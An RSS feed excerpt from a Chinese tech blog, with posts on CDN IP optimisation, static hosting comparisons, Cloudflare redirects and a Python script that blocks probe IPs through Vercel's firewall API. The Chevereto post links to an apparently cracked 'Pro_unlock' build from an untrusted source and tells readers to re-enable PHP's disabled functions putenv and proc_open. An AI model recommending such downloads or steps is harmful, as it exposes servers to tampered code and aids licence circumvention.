&lt;p&gt;可以前往 &lt;a href=&quot;https://www.cloudflare.com/zh-cn/bandwidth-alliance/&quot;&gt;Cloudflare云服务_数据传输_高速云数据传输服务_|Cloudflare中国官网 | Cloudflare&lt;/a&gt; 查看&lt;/p&gt;
&lt;p&gt;截止到文章发布日，这些服务支持&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/e04c6bee-efc2-4998-83aa-aeacc80e6908.Bq9VCs8Y.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;在这里可以看到，如果您每月需要传输1TB的流量，Cloudflare将为您每月节省如此多的美刀&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/3ac81964-bb93-4528-921f-d801a66cb72d.CB_iNhH2.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;如何使用？&lt;/h1&gt;
&lt;p&gt;假如您有一个阿里云OSS实例，正常来说如果您需要绑定自定义域名，需要CNAME到阿里云的Endpoint，如果您恰好使用Cloudflare NS服务器托管您的域名，只需要打开小黄云即可。&lt;/p&gt;
&lt;p&gt;Cloudflare将托管您的阿里云OSS流量，从Cloudflare出口的流量将不收取流量费用&lt;/p&gt;
&lt;p&gt;基于阿里云5G内存储费用免费的政策，您可以白嫖5G的对象存储&lt;/p&gt;
&lt;h1&gt;注意事项&lt;/h1&gt;
&lt;p&gt;永远不要泄露您的源站，也就是上文所说的阿里云OSS Endpoint，如果有人发现了您的源站，这些流量不从Cloudflare出口，您将会被收取费用&lt;/p&gt;
&lt;p&gt;当然，大部分对象存储服务商支持配置私有访问，详细规则和使用方法请咨询各方客服&lt;/p&gt;
</content:encoded></item><item><title>都5202年了，还有人不会自建自己的Cloudflare/EdgeOne等各种CDN的优选？</title><link>https://2x.nz/posts/self-host-fastip/</link><guid isPermaLink="true">https://2x.nz/posts/self-host-fastip/</guid><description>自建各大CDN服务的优选域名非常简单，只需要先这样，再这样...但是踩坑的地方也不少...</description><pubDate>Mon, 21 Jul 2025 16:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;基本思路&lt;/h1&gt;
&lt;p&gt;想要做一个优选域名，我们首先需要筛选那些质量好的IP&lt;/p&gt;
&lt;p&gt;筛选到质量好的IP后，通过各大云解析DNS厂商更新指定优选域名的DNS解析&lt;/p&gt;
&lt;p&gt;最后，将你的域名投入使用，测试优选后效果&lt;/p&gt;
&lt;h1&gt;如何筛选到质量好的IP？&lt;/h1&gt;
&lt;p&gt;假设你要提高国内的访问质量，我们肯定需要国内的机子，如果自家有NAS就再好不过了&lt;/p&gt;
&lt;p&gt;如果你想要三网都优选，那么只有你一台机子是不够的，需要同时拥有电信，移动，联通三网的机子去做IP筛选。如果你要做更高级的地域优选，那就...把每个省的三网机子都拿到手？&lt;/p&gt;
&lt;p&gt;有了测试机，接下来我们就需要编写测试脚本&lt;/p&gt;
&lt;p&gt;首先我们要知道一个CDN厂商的IP段是什么，这里以Cloudflare为例&lt;/p&gt;
&lt;p&gt;我们搜索 &lt;code&gt;Cloudflare IP段&lt;/code&gt; 即可找到&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/9e79e4ab-ce0c-434a-84f7-3b8a9f3a0886.BeDpRQTv.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;对于其他CDN，他们可能并没有直接在网页上公开IP，你需要自行寻找客服咨询&lt;/p&gt;
&lt;p&gt;我们得到IP段后，接下来就是编写实际的测试逻辑&lt;/p&gt;
&lt;p&gt;我这边仅推荐通过Curl+Resolve实现强制绑定IP访问业务域名然后看返回的状态码正不正常。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;注意，这种方案及其考验您的测试机、路由器、ISP、对端服务器的性能！&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;但这也是最稳妥的测试方法，主播已经见过了太多TCPing 443通，https访问418或者ping得通，TCPing不通的稀奇古怪CDNIP。请保证您的测试方法筛选到的IP能正常访问到您的访问，避免您的服务宕机&lt;/p&gt;
&lt;p&gt;线程不必拉太高，针对于Cloudflare这样有 150w IP的CDN，我们可以仅测试C段，也就是测试完 &lt;code&gt;104.18.91.0&lt;/code&gt; 直接测试 &lt;code&gt;104.18.92.0&lt;/code&gt; 这样可以节省时间，只需要测5000多个IP&lt;/p&gt;
&lt;p&gt;最终，我们得到了一组优选IP&lt;/p&gt;
&lt;h1&gt;对接华为云云解析DNS&lt;/h1&gt;
&lt;p&gt;为什么推荐华为云？&lt;/p&gt;
&lt;p&gt;无他，因为仅华为云一家支持&lt;strong&gt;单解析单次记录值支持50个IP&lt;/strong&gt;、&lt;strong&gt;可以创建多个同名解析&lt;/strong&gt;以及&lt;strong&gt;支持仅缓存DNS解析1s（TTL=1）&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;受益于华为云的这些功能，我们个人用户也可以做到一个域名下面绑定几万个IP（虽然IP不是越多越好）&lt;/p&gt;
&lt;p&gt;推荐使用海外版，&lt;strong&gt;不需要实名认证&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;之后通过API文档自行折腾一下API添加DNS解析即可&lt;/p&gt;
&lt;h1&gt;后期维护&lt;/h1&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;如果你要做三网优选请添加一个默认解析线路，保证您在个别线路宕机时对应线路的用户不会遇到服务宕机&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;每个CDN厂商的IP段可能会不定时变更，请勤查多看，及时更换失效IP&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;如果遇到服务异常无法得到优选IP，请不要在脚本中编写危险逻辑，如删除所有解析。这会导致大批量服务宕机&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;优选并不是主流做法，如果您的站点被攻击，使用自定义CNAME或者IP会导致您的CDN服务商无法为您进行IP调度，高质量IP将被持续攻击，您的CDN服务商可能会采取强制措施如：&lt;strong&gt;关停您的业务，封禁您的账号&lt;/strong&gt;等操作来隔断对方的攻击。当您认为您的站点被攻击时请及时切换到官方为您分配的CNAME或IP&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
</content:encoded></item><item><title>教你搭建Chevereto这个超级强大的图床！</title><link>https://2x.nz/posts/chevereto/</link><guid isPermaLink="true">https://2x.nz/posts/chevereto/</guid><description>被宝塔开心版的站长推荐了Chevereto这个图床，刚好刚刚嫖了个免费的虚拟主机，让我们开始折腾！</description><pubDate>Tue, 15 Jul 2025 16:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;视频教程&lt;/h1&gt;
&lt;p&gt;https://b23.tv/E8Z34KM&lt;/p&gt;
&lt;h1&gt;正式开始&lt;/h1&gt;
&lt;p&gt;资源： https://r2.2x.nz/chevereto_4.3.6-Pro_unlock.zip （感谢宝塔开心版站长！）&lt;/p&gt;
&lt;p&gt;使用 &lt;strong&gt;PHP 8.1.29 &amp;amp; MySQL 8.0.36&lt;/strong&gt; 创建一个网站，然后将我们刚刚下载的ZIP上传到站点根目录并解压&lt;/p&gt;
&lt;p&gt;你就会得到这一坨&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/dcb4d5ec-412f-4008-980b-b4f4ac1bc2d2.BH306ST9.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;这里开始分支！如果你是Apache请什么都不要动，它会自动检测 &lt;code&gt;.htaccess&lt;/code&gt; 。如果你是Nginx请配置 &lt;code&gt;nginx.txt&lt;/code&gt; 里面的伪静态规则&lt;/p&gt;
&lt;p&gt;然后根据原 &lt;code&gt;教程.txt&lt;/code&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;PHP 需要 8.1 以上

需要以下PHP扩展：
fileinfo
imagemagick
exif

如果是宝塔 还得删除 PHP 禁用函数
putenv
proc_open 


MYSQL 需要 8.0 以上

伪静态需要使用我提供的 nginx.txt 里面的
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;如果你用的虚拟主机跟博主一样，也是ispmanager，请这样设置PHP&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/e4bc4d2e-fc42-49bb-b161-92e86f0c6d12.Q2ujHFf5.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;一切就绪，访问你的站点进行Chevereto的安装向导&lt;/p&gt;
&lt;h1&gt;疑难解答&lt;/h1&gt;
&lt;p&gt;如果出现问题，请尝试以管理员身份登录Chevereto，在管理员设置 -&amp;gt; 系统中开启调试模式。这样设置后，Chevereto在出现错误就会告诉你具体发生了什么问题&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/00c8ab83-d41c-4ca3-a14a-4a36f0f77b67.B5bctHRT.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;如果我连系统设置都进不去？请自行找你的PHP Error Log来分析问题&lt;/p&gt;
&lt;h1&gt;我搭建好的&lt;/h1&gt;
&lt;p&gt;https://chevereto.php.afo.im/upload&lt;/p&gt;
&lt;p&gt;登录后查看所有图片：&lt;/p&gt;
&lt;p&gt;https://chevereto.php.afo.im/explore/images&lt;/p&gt;
</content:encoded></item><item><title>我用Claude10分钟写了个六子棋...?</title><link>https://2x.nz/posts/sixqi-py/</link><guid isPermaLink="true">https://2x.nz/posts/sixqi-py/</guid><description>本来是不想写这种看起来就很简单的项目的，奈何群u苦苦哀求，只好实现</description><pubDate>Sun, 13 Jul 2025 16:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;前情提要&lt;/h1&gt;
&lt;p&gt;本来大晚上被干醒了&lt;/p&gt;
&lt;p&gt;准备吃点东西睡回笼觉&lt;/p&gt;
&lt;p&gt;顺便在QQ群吹水&lt;/p&gt;
&lt;p&gt;然后被委托做一个&lt;strong&gt;神经小项目&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/29afe2b7-db53-4707-81ef-173befb84a06.fcWptIej.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/f7b3b7b6-a462-4c1a-b8cf-665cc4df824c.CYz2Awcu.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/0d0b13c2-e2d5-4394-b7fd-48af6277869c.D7gdh1Dl.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;于是就...&lt;/p&gt;
&lt;h1&gt;开整！&lt;/h1&gt;
&lt;p&gt;首先使用最熟悉的Python Flask框架！&lt;/p&gt;
&lt;p&gt;然后使用最简单的内存数据库！&lt;/p&gt;
&lt;p&gt;然后开始调教AI！&lt;/p&gt;
&lt;p&gt;&lt;s&gt;这里本想用JSON存的但是聪明小AI最终交付的仍然是内存存储&lt;/s&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/1d62004f-ed07-4ced-be59-63bb4dd03b2d.D7uO0ppw.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;然后就写出来了！（&lt;s&gt;并非，总共问了7次&lt;/s&gt;&lt;/p&gt;
&lt;h1&gt;上线！&lt;/h1&gt;
&lt;p&gt;现已可在 https://sixqi.afo.im/ 游玩！&lt;/p&gt;
&lt;p&gt;开源： &lt;a href=&quot;https://github.com/afoim/sixqi&quot;&gt;GitHub - afoim/sixqi&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/1416208a-b44c-40b7-a1ba-743e8a28d3bc.khjjEUDH.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
</content:encoded></item><item><title>N款CDN/静态托管服务商的优缺点比较</title><link>https://2x.nz/posts/static-web/</link><guid isPermaLink="true">https://2x.nz/posts/static-web/</guid><description>Serverless服务有很多，静态托管就是重中之重，来看看谁最稳定快速</description><pubDate>Sun, 13 Jul 2025 16:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;&lt;a href=&quot;https://www.netlify.com&quot;&gt;Netlify&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;注册门槛高，需要使用谷歌邮箱注册。支持IPv6回源。用量限制较宽松，仅有带宽和构建时间限制。 &lt;strong&gt;我认为是免费计划里最快的CDN！并且限制很少！&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;需要注意，构建时间是每月限制。但是流量限制较为宽松&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/282ad19c-f971-4f92-9096-6e75308205c5.Bik891iR.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;因为节点禁Ping，所以这里用Tcping结果展示&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;推荐CNAME：&lt;/strong&gt; apex-loadbalancer.netlify.com&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/e11f4d07-4135-411e-943e-cf27690bc9c7.DVr5ScGT.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;&lt;a href=&quot;https://vercel.com&quot;&gt;Vercel&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;零成本用上。注册无门槛，延迟良好。用量限制较严格。仅支持IPv4回源。默认的 &lt;code&gt;*.vercel.app&lt;/code&gt; 在国内会被SNI阻断，需要绑定自己的域名&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Vercel每天可以构建100次，每次构建时间不得超过45分钟&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;推荐IP：&lt;/strong&gt; 76.76.21.21&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/14654577-5c25-4136-bb06-9e10d1945ae2.ohVne6fF.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/eb1ef62c-f50c-4f89-a287-c74e18353b9c.CBgCzwan.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;&lt;a href=&quot;https://edgeone.ai&quot;&gt;EdgeOne CDN&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;目前处于内测，需要兑换码。获取方式前往 &lt;a href=&quot;https://edgeone.ai/zh/redemption&quot;&gt;腾讯云EdgeOne免费计划兑换码 - 立即体验&lt;/a&gt; 。无流量和请求数限制。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/ed25c33f-5719-44b5-844e-62ac73eadfef.DXJhVQuE.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;支持&lt;strong&gt;高级回源设置&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/a1517d8e-1664-4819-ba08-d78ae13299a4.DuC6uaDg.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;全球可用区（不含中国大陆）&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;本人博客目前使用的CDN&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;默认提供的CNAME延迟一般。下图是使用了本人的HK优选： eo.072103.xyz（注： EdgeOne Page不可用）&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/b2937ed2-0f8d-4179-a9b5-b465902ca9ab.CPt49ZIs.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;EdgeOne CDN 中国大陆可用区&lt;/h2&gt;
&lt;p&gt;需要&lt;strong&gt;实名认证&lt;/strong&gt;，需要&lt;strong&gt;域名备案&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;默认CNAME可用&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/c44674d3-d37e-4f00-a7ee-cdac7798b293.C8G5Br-a.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;&lt;a href=&quot;https://www.cloudflare.com/&quot;&gt;Cloudflare&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;无流量和请求数限制。&lt;strong&gt;无法被打死&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;/posts/record/#cloudflare-%E4%BC%98%E9%80%89%E5%9F%9F%E5%90%8D&quot;&gt;戳我查看优选域名&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;下图使用本人的分流优选： fenliu.072103.xyz&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/f0785c5d-b31a-40d1-9da9-ac50a94f6b0a.jbB1RCsb.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;&lt;a href=&quot;https://render.com&quot;&gt;Render&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;注册简单，具有严格的用量限制&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/0bccb1b9-3fe1-49f0-a255-0805fc0ee35c.BWtdzojQ.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/2b6104d5-9cee-4e2b-adb5-9aefe02240d2.CxIV5GXi.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;&lt;a href=&quot;https://pages.github.com/&quot;&gt;Github Page&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;需要使用Github Action发布。&lt;strong&gt;中国大陆大部分地区会间歇性阻断&lt;/strong&gt;，不推荐使用&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/efccadbf-bc70-4444-bb48-8399cf881617.CvGAz0bc.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
</content:encoded></item><item><title>利用Cloudflare Page提供的重定向功能实现无损耗、不限数量的静态重定向！</title><link>https://2x.nz/posts/cfpage-redirect/</link><guid isPermaLink="true">https://2x.nz/posts/cfpage-redirect/</guid><description>Cloudflare的重定向规则非常强大，但是如果直接使用重定向规则创建批量重定向会消耗很多的配额</description><pubDate>Sat, 12 Jul 2025 16:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;快速上手！&lt;/h1&gt;
&lt;p&gt;直接 Fork我的 &lt;a href=&quot;https://github.com/afoim/Redirect_Group&quot;&gt;仓库&lt;/a&gt; 。&lt;/p&gt;
&lt;p&gt;接着将该仓库连接到Cloudflare部署Worker或Page，然后绑定你的域名&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/0c99399a-5d25-4372-9f9b-79767c32d150.B_iHqkTs.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;接着更改 &lt;code&gt;_redirects&lt;/code&gt; 内的文件&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/f9476b1d-b047-441b-a742-58124032a91b.BmiwBPpa.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;例如：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;/ https://www.afo.im/ 301
/test/* https://test.test/test/:splat 302
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;则意味着&lt;/p&gt;
&lt;p&gt;访问 &lt;code&gt;/&lt;/code&gt; 301 永久重定向到 &lt;code&gt;https://www.afo.im/&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/3f49855c-6835-423d-805c-4758f232d136.BY5fY2Z6.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;访问 &lt;code&gt;/test/*&lt;/code&gt; 302 临时重定向到 &lt;code&gt;https://test.test/test/*&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/f018f75a-83ae-435e-9fce-d81d331f6d2f.Bg_b0MCD.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;已经非常强大了。而且不占用重定向规则配额也不耗费Worker请求数！&lt;/p&gt;
</content:encoded></item><item><title>配置Vercel让ITDog测试全部403！</title><link>https://2x.nz/posts/vercel-deny/</link><guid isPermaLink="true">https://2x.nz/posts/vercel-deny/</guid><description>很讨厌别人用ITDog等拨测服务疯狂测试你的站点？拒绝他们！</description><pubDate>Wed, 09 Jul 2025 16:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;配套视频&lt;/h1&gt;
&lt;p&gt;https://www.bilibili.com/video/BV1w7GTzMEy7&lt;/p&gt;
&lt;h1&gt;获取ITDog等拨测服务的IP&lt;/h1&gt;
&lt;blockquote&gt;
&lt;p&gt;因为Vercel不支持IPv6，所以我们只需要获取v4IP&lt;/p&gt;
&lt;/blockquote&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;如果你有VPS，直接写一个Py脚本创建一个HTTP服务器记录IP去重即可&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;如果你只有家里云，可以使用Cloudflare Tunnel，然后获取 &lt;code&gt;CF-Connecting-IP&lt;/code&gt; 来曲线救国&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;结论，你已经获得了你要屏蔽的拨测网站的IP&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/91daff1e-b248-4f90-9b97-31bff7fa2c14.0CMn2kPp.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;创建Vercel API Token&lt;/h1&gt;
&lt;p&gt;前往 https://vercel.com/account/settings/tokens 创建一个Token&lt;/p&gt;
&lt;h1&gt;抓取防火墙创建/更新接口&lt;/h1&gt;
&lt;p&gt;前往 https://vercel.com/your-projects/fuwari/firewall&lt;/p&gt;
&lt;p&gt;新增规则&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/84645ada-92bd-42f7-827f-96a93bd54997.D9npr3BG.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;随便写点东西然后抓包&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/0f60d87a-df45-42d3-a692-c172982899cc.flj0J7sw.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;PATCH https://vercel.com/api/v1/security/firewall/config/draft?projectId=prj_UfvbpIvawjL2eAETAiZT7hPLR8W2&amp;amp;teamId=team_lemndzHQNJAcTipIF6elB5Md
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;将主机名 &lt;code&gt;vercel.com&lt;/code&gt; 改为 &lt;code&gt;api.vercel.com&lt;/code&gt; 。并携带请求头 &lt;code&gt;Authorization&lt;/code&gt; ，值为刚才获取的Token&lt;/p&gt;
&lt;p&gt;复制刚才的响应并且稍作修改进行测试，看是否能更新成功&lt;/p&gt;
&lt;p&gt;可以看到已经200 OK&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/b87a06b5-e33c-4d1d-aede-18ecba95d8cc.CeNxMiJj.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;使用Python脚本创建大批量IP拒绝规则&lt;/h1&gt;
&lt;p&gt;根据本人测试，Vercel虽然在创建规则的时候有一个 &lt;code&gt;is any of&lt;/code&gt; 支持填入多个IP，但是单规则最多只能填写&lt;strong&gt;75&lt;/strong&gt;个，所以我们需要一个Python脚本批量帮我们规划。脚本已经写好&lt;/p&gt;
&lt;p&gt;使用： &lt;code&gt;python app.py ip.txt&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;作用：自动获取指定TXT中的内容并将其中的所有IP添加到拒绝规则&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/env python3
# -*- coding: utf-8 -*-
&quot;&quot;&quot;
Vercel防火墙规则更新脚本
用法: python vercelnoitdog.py xxx.txt
&quot;&quot;&quot;

import sys
import json
import requests
import ipaddress
from typing import List, Dict, Any

# Vercel API配置
API_BASE_URL = &quot;https://api.vercel.com/v1/security/firewall/config/draft&quot;
PROJECT_ID = &quot;prj_UfvbpIvawjL2eAETAiZT7hPLR8W2&quot;
TEAM_ID = &quot;team_lemndzHQNJAcTipIF6elB5Md&quot;
AUTH_TOKEN = &quot;你的Token&quot;
RULE_ID = &quot;rule_noitdog_eGxdcK&quot;

# 每组最大IP数量
MAX_IPS_PER_GROUP = 75

def validate_ip_or_cidr(ip_str: str) -&amp;gt; bool:
    &quot;&quot;&quot;
    验证IP地址或CIDR格式是否有效
    &quot;&quot;&quot;
    try:
        # 尝试解析为IP地址或网络
        ipaddress.ip_address(ip_str)
        return True
    except ValueError:
        try:
            # 尝试解析为CIDR网络
            ipaddress.ip_network(ip_str, strict=False)
            return True
        except ValueError:
            return False

def read_ips_from_file(file_path: str) -&amp;gt; List[str]:
    &quot;&quot;&quot;
    从文件中读取IP地址和CIDR网段
    &quot;&quot;&quot;
    ips = []
    invalid_entries = []

    try:
        with open(file_path, &apos;r&apos;, encoding=&apos;utf-8&apos;) as f:
            for line_num, line in enumerate(f, 1):
                ip = line.strip()
                if ip and not ip.startswith(&apos;#&apos;):  # 忽略空行和注释
                    if validate_ip_or_cidr(ip):
                        ips.append(ip)
                    else:
                        invalid_entries.append(f&quot;第{line_num}行: {ip}&quot;)

        print(f&quot;从文件 {file_path} 读取到 {len(ips)} 个有效的IP地址/CIDR网段&quot;)

        if invalid_entries:
            print(f&quot;⚠️  发现 {len(invalid_entries)} 个无效条目:&quot;)
            for entry in invalid_entries[:5]:  # 只显示前5个
                print(f&quot;   {entry}&quot;)
            if len(invalid_entries) &amp;gt; 5:
                print(f&quot;   ... 还有 {len(invalid_entries) - 5} 个无效条目&quot;)

        return ips
    except FileNotFoundError:
        print(f&quot;错误: 文件 {file_path} 不存在&quot;)
        sys.exit(1)
    except Exception as e:
        print(f&quot;读取文件时出错: {e}&quot;)
        sys.exit(1)

def chunk_ips(ips: List[str], chunk_size: int = MAX_IPS_PER_GROUP) -&amp;gt; List[List[str]]:
    &quot;&quot;&quot;
    将IP列表分组，每组最多包含指定数量的IP
    &quot;&quot;&quot;
    chunks = []
    for i in range(0, len(ips), chunk_size):
        chunks.append(ips[i:i + chunk_size])
    return chunks

def create_condition_groups(ip_chunks: List[List[str]]) -&amp;gt; List[Dict[str, Any]]:
    &quot;&quot;&quot;
    创建条件组，每个组包含一个IP列表
    &quot;&quot;&quot;
    condition_groups = []
    for ip_chunk in ip_chunks:
        condition_group = {
            &quot;conditions&quot;: [
                {
                    &quot;op&quot;: &quot;inc&quot;,
                    &quot;type&quot;: &quot;ip_address&quot;,
                    &quot;value&quot;: ip_chunk
                }
            ]
        }
        condition_groups.append(condition_group)
    return condition_groups

def create_request_payload(condition_groups: List[Dict[str, Any]]) -&amp;gt; Dict[str, Any]:
    &quot;&quot;&quot;
    创建请求负载
    &quot;&quot;&quot;
    payload = {
        &quot;action&quot;: &quot;rules.update&quot;,
        &quot;id&quot;: RULE_ID,
        &quot;value&quot;: {
            &quot;name&quot;: &quot;noitdog&quot;,
            &quot;active&quot;: True,
            &quot;description&quot;: &quot;&quot;,
            &quot;conditionGroup&quot;: condition_groups,
            &quot;action&quot;: {
                &quot;mitigate&quot;: {
                    &quot;action&quot;: &quot;deny&quot;,
                }
            }
        }
    }
    return payload

def send_request(payload: Dict[str, Any]) -&amp;gt; bool:
    &quot;&quot;&quot;
    发送PATCH请求到Vercel API
    &quot;&quot;&quot;
    url = f&quot;{API_BASE_URL}?projectId={PROJECT_ID}&amp;amp;teamId={TEAM_ID}&quot;

    headers = {
        &quot;Authorization&quot;: f&quot;Bearer {AUTH_TOKEN}&quot;,
        &quot;Content-Type&quot;: &quot;application/json&quot;
    }

    try:
        print(f&quot;发送请求到: {url}&quot;)
        print(f&quot;请求数据: {json.dumps(payload, indent=2, ensure_ascii=False)}&quot;)

        response = requests.patch(url, headers=headers, json=payload)

        print(f&quot;响应状态码: {response.status_code}&quot;)
        print(f&quot;响应内容: {response.text}&quot;)

        if response.status_code == 200:
            print(&quot;✅ 请求成功&quot;)
            return True
        else:
            print(f&quot;❌ 请求失败: {response.status_code} - {response.text}&quot;)
            return False

    except requests.exceptions.RequestException as e:
        print(f&quot;❌ 网络请求错误: {e}&quot;)
        return False
    except Exception as e:
        print(f&quot;❌ 发送请求时出错: {e}&quot;)
        return False

def main():
    &quot;&quot;&quot;
    主函数
    &quot;&quot;&quot;
    if len(sys.argv) != 2:
        print(&quot;用法: python vercelnoitdog.py &amp;lt;ip_file.txt&amp;gt;&quot;)
        print(&quot;示例: python vercelnoitdog.py ips.txt&quot;)
        sys.exit(1)

    ip_file = sys.argv[1]

    # 读取IP地址
    ips = read_ips_from_file(ip_file)

    if not ips:
        print(&quot;❌ 没有找到有效的IP地址或CIDR网段&quot;)
        sys.exit(1)

    # 去重
    unique_ips = list(set(ips))
    print(f&quot;去重后共有 {len(unique_ips)} 个唯一IP地址/CIDR网段&quot;)

    # 分组
    ip_chunks = chunk_ips(unique_ips)
    print(f&quot;IP地址被分为 {len(ip_chunks)} 组&quot;)

    for i, chunk in enumerate(ip_chunks, 1):
        print(f&quot;第 {i} 组: {len(chunk)} 个IP/CIDR&quot;)

    # 创建条件组
    condition_groups = create_condition_groups(ip_chunks)

    # 创建请求负载
    payload = create_request_payload(condition_groups)

    # 发送请求
    success = send_request(payload)

    if success:
        print(&quot;\n🎉 防火墙规则更新成功!&quot;)
    else:
        print(&quot;\n💥 防火墙规则更新失败!&quot;)
        sys.exit(1)

if __name__ == &quot;__main__&quot;:
    main()
